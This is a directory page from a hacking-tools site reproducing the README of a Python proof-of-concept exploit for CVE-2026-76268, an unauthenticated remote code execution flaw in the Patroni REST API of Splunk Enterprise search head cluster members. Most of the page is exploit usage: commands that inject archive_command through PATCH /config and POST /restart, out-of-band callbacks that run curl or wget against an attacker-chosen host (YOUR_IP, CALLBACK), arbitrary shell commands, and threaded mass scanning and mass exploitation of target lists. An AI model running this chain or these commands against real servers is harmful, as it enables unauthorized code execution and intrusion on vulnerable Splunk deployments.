Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-76268 — Python PoC for CVE-2026-76268: detects unauthenticated Patroni REST API on Splunk SHC members and exploits it via archive_command injection to achieve RCE. | Kitploit
Tools/GitHubGitHub/murrez/cve-2026-76268
ReconnaissanceVulnerability ScannersNetwork MappingExploitationWeb Application ExploitationPost-ExploitationPenetration TestingRemote Access Tool
GitHubmurrez/cve-2026-76268

CVE-2026-76268

Python PoC for CVE-2026-76268: detects unauthenticated Patroni REST API on Splunk SHC members and exploits it via archive_command injection to achieve RCE.

83122 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository

CVE-2026-76268 — Splunk Enterprise Patroni REST API unauthenticated RCE

Python 3 PoC for CVE-2026-76268 — Splunk Enterprise on search head cluster (SHC) members. Advisory SVD-2026-1001.

CVE.orghttps://www.cve.org/CVERecord?id=CVE-2026-76268
Advisoryhttps://advisory.splunk.com/advisories/SVD-2026-1001
ComponentPostgreSQL sidecar (Storage) → Patroni REST API
Affected10.2.0 – 10.2.6, 10.4.0 – 10.4.2
Fix10.2.7, 10.4.3 (and later)
Not affected (this CVE)10.0.x, 9.4.x
CWECWE-306 — missing authentication for critical function
CVSS 3.19.8 Critical
Verify markerPOCBIT-76268-OK
PoCbithttps://pocbit.org/pocs/cve-2026-76268

Description

On vulnerable Splunk Enterprise SHC members, the Patroni REST API (part of the PostgreSQL sidecar introduced in Splunk 10.x) accepts state-changing requests without authentication. An attacker with network access to the Patroni listener can change dynamic cluster configuration and trigger operating-system command execution via PostgreSQL parameters such as archive_command (Patroni PATCH /config + POST /restart chain).

This PoC talks directly to Patroni (typically TCP 8008, or a port assigned by Splunk’s IPC Broker). It does not use Splunk Web (8000) or the Splunk management port (8089). That is a different surface (e.g. historical sidecar issues via splunkd proxy).

Preconditions for real-world impact:

  • Host is an SHC member (not a standalone indexer-only node without the sidecar stack).
  • [postgres] sidecar is enabled (disabled = true removes Patroni).
  • Patroni port is reachable from the attacker (often misconfigured firewall exposing cluster-internal ports).

Requirements

cd CVE-2026-76268
pip install -r requirements.txt
  • Python 3.9+
  • Dependencies: requests, urllib3

Usage overview

ModePurpose
check (default)Find Patroni on common ports; test unauthenticated PATCH /config
exploitRun Patroni RCE chain (archive_command + restart)
Mass--list FILE with -j threads; writes JSONL + optional hit/exploit lists

You must pass either -t TARGET or --list FILE.

Target formats (-t / lines in --list)

FormatExample
Host only (default port scan)192.168.1.50
Host + port192.168.1.50:8008
Full URLhttp://10.0.0.5:8008

Comments in list files: lines starting with # are ignored.


Check mode

Discover Patroni and assess whether unauthenticated configuration changes appear allowed.

python poc.py -t 192.168.1.50 --mode check
python poc.py -t 192.168.1.50:8008 --mode check
python poc.py --list targets.example.txt --mode check -j 20 --vuln-list hits.txt

What the PoC does:

  1. Tries GET /patroni (or /) on each port in --ports (default 8008,8009,8010,18008).
  2. Sends PATCH /config with an empty JSON body and no credentials.
  3. Marks exploitable_candidate: true when Patroni responds and PATCH is not rejected with 401/403.

Useful flags:

FlagMeaning
--portsComma-separated Patroni ports to scan
--portSkip scan; use one port only
--timeoutHTTP timeout (seconds, default 20)
--proxyHTTP(S) proxy for requests
--outputJSONL log (default cve_2026_76268_results.jsonl)
--vuln-listTab-separated candidates (default hits.txt)
--quietLess console output
--no-colorPlain terminal

Exit code: 0 if exploitable_candidate is true; otherwise 1.

Recommended workflow: mass check → review hits.txt → mass exploit only on authorized hosts.


Exploit mode (--mode exploit)

Runs the Patroni configuration injection chain. This changes live sidecar/PostgreSQL dynamic config on the target.

Chain

  1. Discovery — same as check (unless --port is set).
  2. Auth gate — abort if PATCH /config returns 401/403.
  3. PATCH /config — sets wal_level=replica, archive_mode=always, archive_timeout=1, and your archive_command.
  4. POST /restart — apply pending PostgreSQL configuration.
  5. Wait — --wait-archive seconds (default 3); archive_command runs on the WAL archive cycle (not instant).

Single-target examples

# OOB verification (recommended): callback receives GET .../POCBIT-76268-OK
python poc.py -t 192.168.1.50:8008 --mode exploit --oob http://YOUR_IP:8888

# Lab marker file on the Splunk host (runs as sidecar/Postgres user)
python poc.py -t 192.168.1.50 --mode exploit --wait-archive 5

# Custom shell command (your responsibility to quote safely)
python poc.py -t 192.168.1.50 --mode exploit --command "id > /tmp/splunk-poc"

# Force port, longer wait for slow archives
python poc.py -t 192.168.1.50 --mode exploit --port 8008 --wait-archive 10

Mass exploit

python poc.py --list hits.txt --mode exploit -j 5 --oob http://CALLBACK:8888

Outputs:

  • --output — full JSONL (mass exploit defaults to cve_2026_76268_exploit.jsonl if you kept the default name).
  • --exploited-list — rows where exploited: true (default exploited.txt).

Exploit flags

FlagMeaning
--oob URLBase URL; command runs curl/wget to URL/POCBIT-76268-OK
--commandFull PostgreSQL archive_command string (overrides OOB default)
--wait-archiveSeconds to sleep after restart before the PoC exits
--ports / --portPort discovery or fixed Patroni port
--tlsUse https:// for Patroni (uncommon in default Splunk sidecar docs)

Default command when neither --oob nor --command is set:
touch /tmp/POCBIT-76268-OK

Exit code: 0 when PATCH and restart are accepted (exploited: true). That means the chain was delivered, not that your callback or file proof already fired. Confirm with OOB or filesystem checks on the host.

Important: Patroni may ignore dynamic changes if the same parameters are locked in local config (vendor hardening). In that case exploit may fail even on old Splunk builds.


JSON output (single -t run)

Printed to stdout (pretty JSON). Mass mode writes one JSON object per line.

FieldMeaning
modecheck or exploit
host / targetNormalized input
patroni_basee.g. http://192.168.1.50:8008
patroni_portPort where Patroni answered
patroni_roleFrom GET /patroni (e.g. primary)
unauth_patchCheck: PATCH allowed without auth
exploitable_candidateCheck: likely vulnerable surface
exploitedExploit: PATCH + restart succeeded
patch / restartHTTP status and body preview
verifyHint: OOB path or /tmp/POCBIT-76268-OK
errorFailure reason (auth_required_patched_or_hardened, no_patroni_on_ports, …)
pocbit, pocbit_page, verify_markerPoCbit metadata

Interpreting results

ResultMeaning
patroni_unauth_patch_confirmedStrong check hit — unauthenticated PATCH accepted
patroni_auth_requiredPatroni requires auth (likely patched or hardened)
no_patroni_on_portsNo Patroni JSON on scanned ports (wrong host, firewalled, or not SHC sidecar)
exploit_chain_okExploit HTTP chain completed
auth_required_patched_or_hardenedExploit aborted before injection
Download Tool